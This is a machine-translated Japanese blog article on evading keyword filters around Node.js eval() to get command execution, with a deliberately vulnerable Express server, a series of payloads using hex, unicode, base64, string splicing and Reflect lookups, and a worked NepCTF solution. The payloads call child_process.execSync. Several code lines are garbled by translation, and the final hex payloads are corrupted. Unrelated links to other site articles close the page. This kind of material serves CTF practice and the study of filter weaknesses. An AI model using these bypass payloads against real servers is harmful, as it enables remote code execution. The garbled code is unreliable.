PHP では、eval コードの実行はよく知られたトピックであり、PHP コードの実行を回避するためにさまざまなトリックが使用されています。この記事では主に、Node.js でのバイパスのアイデアについて説明します。 1. 子プロセスまず、システム コマンドを実行するために使用される nodejs の child_process モジュールを紹介します。 Nodejs は、child_process モジュールを使用して複数の子プロセスを生成し、他の処理を行います。 child_process には、execFileSync、spawnSync、execSync、fork、exec、execFile、spawn の 7 つのメソッドがあり、これらすべてのメソッドは spawn() メソッドを使用します。 fork は別の子プロセス ファイルを実行するため、fork 以外の関数の使用方法を次に示します。 require("child_process").exec("sleep 3"); require("child_process").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); //実行可能ファイルを呼び出し、2番目のパラメータに引数を渡す 'child_process' を要求します。'sleep'、['3'] を生成します。 必要("child_process").spawnSync('sleep', ['3']); require("child_process").execFileSync('sleep', ['3']); 実際には、さまざまな関数が下部で spawn を呼び出します。興味がある場合は、ソース コードに従って確認することができます。 const child = spawn(ファイル, args, { cwd: オプション.cwd、 env: オプション.env、 gid: オプション.gid、 uid: オプション.uid、 シェル: オプション.shell、 windowsHide: !!options.windowsHide, windowsVerbatimArguments: !!options.windowsVerbatimArguments }); 2. nodejsでのコマンド実行コードの実行をデモンストレーションするために、次のコードを使用して最小限のサーバーを作成しました。 定数 express = require('express') const bodyParser = require('body-parser') const app = express() app.use(bodyParser.urlencoded({extended: true })) を使用します。 app.post('/', 関数(req, res) { コード = req.body.code; console.log(コード); res.send(eval(コード)); }) アプリを聴く(3000) 原理は非常に単純で、post メソッドによって渡されたコード パラメータを受け取り、eval(code) の結果を返します。 nodejs では、コードを実行するために eval() 関数も使用されます。上記の rce 関数の場合、まずコードを使用して rce を実行するための次のコードを取得できます。 以下のコマンドはすべて curl ローカル ポートを使用して実行されます。 eval('require("child_process").execSync("curl 127.0.0.1:1234")') これは最も単純なコード実行状況です。もちろん、一般的に、開発者が eval を使用して、ユーザー入力をレイヤーごとに受け入れる可能性のあるポイントを呼び出す場合、ユーザー入力が直接入力されるのではなく、何らかのフィルタリングが行われます。たとえば、exec キーワードがフィルタリングされている場合、それをバイパスするにはどうすればよいでしょうか? もちろん、実際にはそれほど簡単ではありません。この記事ではアイデアについてのみ説明しています。実際のフィルタリングされたキーワードに応じて変更できます。 以下は、通常のチェックexecキーワードを追加した、わずかに変更されたサーバーコードです。 定数 express = require('express') const bodyParser = require('body-parser') const app = express() 関数validcode(入力) { var re = new RegExp("exec"); re.test(入力) を返します。 } app.use(bodyParser.urlencoded({extended: true })) を使用します app.post('/', 関数(req, res) { コード = req.body.code; console.log(コード); if (validcode(code)) { res.send("禁止です!") } それ以外 { res.send(eval(コード)); } }) アプリを聴く(3000) アプローチは 6 つあります。
2.1 16進数エンコード最初のアイデアは、16 進エンコードです。その理由は、Node.js では、文字列に 16 進数が使用されている場合、この 16 進数の ASCII コードに対応する文字が同等であるためです (最初の反応は MySQL に少し似ています)。 コンソールログ("a"==="\x61"); // 真実 ただし、上記の正規表現に一致する場合、16 進数は文字に変換されないため、正規表現の検証をバイパスできます。だから合格できる 必要("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234") 2.2 ユニコードエンコーディング考え方は上記と似ています。JavaScript では Unicode 文字をコード ポイントで直接表現できるため、記述方法は「バックスラッシュ + u + コード ポイント」となり、Unicode 形式の文字を使用して対応する文字を置き換えることもできます。 コンソールログ("\u0061"==="a"); // 真実 必要("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234") 2.3 プラス記号の連結原理は非常に簡単です。プラス記号はjs内の文字を接続するために使用できるので、次のようにすることができます。 'child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234') が必要です 2.4 テンプレート文字列関連コンテンツについてはMDNを参照してください。ペイロードはこちら テンプレートリテラルは、埋め込み式を許可する文字列リテラルです。複数行の文字列と文字列補間を使用できます。 'child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234') が必要です 2.5 連結文字列を接続するには、jsのconcat関数を使用します。 require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234") 2.6 base64 エンコーディングこれはもっと従来的な考え方であるべきです。 eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString()) 3. その他のバイパス方法この部分は主に考え方を変えることについてです。上記の方法の最終的なアイデアは、エンコードまたはスプライシングを通じて exec キーワードを取得することです。この部分では、js のいくつかの構文と組み込み関数について検討します。 3.1 オブジェクト.キー実は、require でインポートしたモジュールは Object なので、Object 内のメソッドを使って操作したり内容を取得したりすることができます。 Object.valuesを使用してchild_process内のさまざまな関数メソッドを取得し、配列の添え字を介してexecSyncを取得できます。 console.log(require('child_process').constructor===オブジェクト) //真実 オブジェクト.values(require('child_process'))[5]('curl 127.0.0.1:1234') 3.2 反映js では、関数呼び出しのリフレクション メソッドを実装するには、Reflect キーワードを使用する必要があります。たとえば、eval関数を取得するには、まずReflect.ownKeys(global)ですべての関数を取得し、次にglobal[Reflect.ownKeys(global).find(x=>x.includes('eval'))]でevalを取得します。 console.log(Reflect.ownKeys(グローバル)) //すべての関数を返す console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]) //評価を取得 評価を取得した後は、従来の考え方でrceを使用できます グローバル[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")') ここで検出される可能性のあるキーワードもありますが、mainModule、global、child_process などのキーワードはすべて文字列内にあるため、16 進数などの前述の方法を使用してエンコードできます。 global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29') ここにちょっとしたコツがあります。eval キーワードをフィルタリングすると、includes('eva') を使用して eval 関数を検索したり、startswith('eva') を使用して検索したりできます。 3.3 フィルタリング括弧3.2 では、eval を取得する方法は、角括弧 [] を使用するグローバル配列を介して行われます。角括弧がフィルターされている場合は、Reflect.get を使用してそれをバイパスできます。
したがって、eval関数を取得する方法は次のようになります。
次に、コマンド実行のペイロードをつなぎ合わせるだけです。 4. NepCTFゲームjsこのトピックの最初のステップはプロトタイプ チェーン汚染であり、2 番目のステップは eval コマンドの実行です。この記事では主に eval のバイパス方法について説明しているため、プロトタイプ チェーン汚染は削除され、バイパスの後半部分のみについて説明します。コードは次のように簡略化されます。 定数 express = require('express') const bodyParser = require('body-parser') const app = express() var validCode = 関数 (func_code) { validInput を /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig; とします。 !validInput.test(func_code) を返します。 }; app.use(bodyParser.urlencoded({extended: true })) を使用します。 app.post('/', 関数(req, res) { コード = req.body.code; console.log(コード); if (!validCode(コード)) { res.send("禁止です!") } それ以外 { var d = '(' + コード + ')'; res.send(eval(d)); } }) アプリを聴く(3000) キーワードは一重引用符と二重引用符を除外するため、ここではすべてバックティックに置き換えることができます。 Reflect を除外せずに、リフレクションを使用して関数を呼び出し、RCE を実現することを検討してください。上記のポイントを使用して、予期しないペイロードを徐々に構築できます。まず、child_process と require キーワードがフィルタリングされるので、実行する前に base64 でエンコードしようと思いました。 eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString()) Base64はここでフィルタリングされ、直接置き換えることができます。 `base`.concat(64) バッファをフィルタリングした後、それを次のように置き換えることができます。 Reflect.get(グローバル、Reflect.ownKeys(グローバル).find(x=>x.startsWith(`Buf`))) Buffer.fromメソッドを取得するには、添え字を使うことができます。 オブジェクト.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1] しかし、問題はキーワードが括弧もフィルタリングすることです。これは簡単です。Reflect.getの別のレイヤーを追加するだけです。 Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1) 基本的なペイロードは Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString() しかし、問題は、このように渡した後、eval はデコードされたコンテンツを実行するのではなく、デコードのみを行うため、別の eval レイヤーが必要になることです。eval キーワードはフィルター処理されるため、リフレクションを使用して eval 関数を取得することも検討します。 Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()) Buffer.from を取得できる場合は、16 進エンコードでも同様です。 refrect.get(global、riffer.ownkeys(global)find(x => x.includes( 'eva'))) 6E4D6F64756C652E636F6E7374727563746F722E5F6C6F616428226368696C6C645F70726F636573733222292E65757533796E636E636E6363636E 2E302E302E313A313233342229`、 `he`.concat(` x`))。toString())) もちろん、上で述べた 16 進数と文字列の特性により、eval 後に 16 進文字列を直接渡すこともできます。 refrect.get(global、refrect.ownkeys(global).find(x => x.includes( `eva`)))(` \ x67 \ x6c \ x6f \ x62 \ x61 \ x6c \ x2e \ x70 \ x72 \ x6f \ x63 x65 \ x65 \ x73 x 61 \ x69 \ x6e \ x4d \ x6f \ x64 \ x75 \ x6c \ x65 \ x2e \ x63 \ x6f \ x6e \ x73 \ x74 \ x72 \ x75 \ x63 \ \ x74 \ x6f \ x72 \ x61 \ x64 \ x28 \ x22 \ x63 \ x68 \ x69 \ x6c \ x64 \ x5f \ x70 \ x72 \ x6f \ x63 \ x65 \ x73 \ x73 \ x22 \ x29 x29 \ x2e \ x65 \ x65 \ x65 \ x65 53 \ x79 \ x6e \ x63 \ x28 \ x22 \ x63 \ x75 \ x72 \ x6c \ x20 \ x31 \ x32 \ x37 \ x2e \ x30 \ x2e \ x30 \ x2e \ x31 \ x34 \ x34 \ x34 \ X34 \ X34 \ X34 22 \ x29`) nodejs の文字列処理方法は柔軟すぎる気がします。eval が可能な場合は、フィルタリングに文字列ブラックリストを使用しない方がよいでしょう。 助けてくれたフロントエンドの兄弟、semesseに感謝します 参考リンク https://xz.aliyun.com/t/9167 要約するこれで、Node.js コード実行バイパスのヒントに関するこの記事は終了です。Node.js コード実行バイパスの詳細については、123WORDPRESS.COM の以前の記事を検索するか、次の関連記事を引き続き参照してください。今後とも 123WORDPRESS.COM を応援していただければ幸いです。 以下もご興味があるかもしれません:
|
>>: USE DB 輻輳に対する MySQL ソリューションの詳細な説明
目次ネット上の質問から生まれた思考MySQL ソースコマンドネット上の質問から生まれた思考今日仕事中...
序文:基本的に、自社で使用する場合でも、顧客向けにサーバーを展開する場合でも、MySQL のバックア...
序文:前の記事を読んだ後、binlog はデータベースで実行されたすべての DDL および DML ...
nginx サーバーnginx は、静的ファイルの処理に非常に効率的な優れた Web サーバーです。...
最近、UTF8 エンコードの中国語 Zen Cart Web サイトをデバッグしているときに奇妙な現...
目次1. 手ぶれ補正機能とは何ですか? 1. なぜ手ぶれ補正機能が必要なのでしょうか? 2. 手ぶれ...
この記事では、Linux 環境での ActiveMQ の展開方法について説明します。ご参考までに、詳...
1. CSS3アニメーション☺CSS3 アニメーションは、JavaScript を介して要素のスタイ...
Windows 2003+IIS6 の fastcgi 構成ファイル fcgiext.ini を最適...
現象システムは Linux システムカーネルを正常にコンパイルできましたが、SVN をインストールし...
目次EffectList コレクション最初のレンダリング時のEffectList EffectLis...
実際、XHTML 1.0 は、Transitional DOCTYPE と Strict DOCTY...
序文:前回の記事では、MySQL システムでよく使用されるログをいくつか説明しました。実は、トランザ...
MySQL データベースでは、あいまいクエリが必要な場合にワイルドカードを使用します。まず、演算子と...
この記事では、弾幕効果を実現するためのネイティブjsの具体的なコードを参考までに共有します。具体的な...